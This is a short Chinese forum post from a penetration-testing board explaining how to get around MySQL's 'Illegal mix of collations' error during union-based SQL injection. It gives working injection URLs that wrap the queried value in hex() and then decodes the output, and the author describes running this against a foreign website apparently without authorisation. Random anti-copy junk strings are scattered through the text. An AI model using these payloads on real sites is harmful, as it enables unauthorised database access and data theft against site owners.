中国网络渗透测试联盟

标题: MySQL注射时ErrorNo.1267的突破 [打印本页]

作者: admin    时间: 2012-9-15 14:04
标题: MySQL注射时ErrorNo.1267的突破
本文作者:SuperHei
+ w6 g) H$ I2 c6 S文章性质:原创5 l) ^" Z) o4 m) l
发布日期:2005-10-18
. S) m1 O: N0 _1 a& \测试个国外的站时:
& {2 J/ G( T2 Z) ^  u/ w, [url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
* g1 O/ `4 r$ f+ d4 z返回错误:& ?% i5 j# L0 H$ t  J9 t+ w
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'- q1 D  q0 D: e" s6 L
MySQL Error No. 1268 g6 Y9 G* |; x& |1 q4 y2 V
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。" e- U9 A, |. Z
解决办法:转为其他编码如hex。& t4 Y4 C1 L% a5 P8 @9 j
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*1 ^: N- n9 Z% I8 {7 Z7 b
成功得到hex(version())的值为:
8 m7 @& Q( u$ A6 m) Q/ V9 _342E312E332D62657461
7 @$ u( ~- C/ _回Mysql查询下得到:
, o5 |6 D, M3 j! S- Xmysql> select 0x342E312E332D62657461;
/ K- ~& f) _+ w$ g+------------------------+
) C8 @- B2 t1 g* U| 0x342E312E332D62657461 |
' k" N+ X2 U0 d4 N: ]- @4 ]+------------------------+3 p5 g! W1 B! h' I, c1 B" j
| 4.1.3-beta |' Q2 E& D0 p0 S8 C& c
+------------------------+
; S$ l# c1 m$ V" r8 A1 row in set (0.00 sec)
6 {3 |! e2 ]/ Z" H1 k/ B
8 w" |; `# Q$ ?! }




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2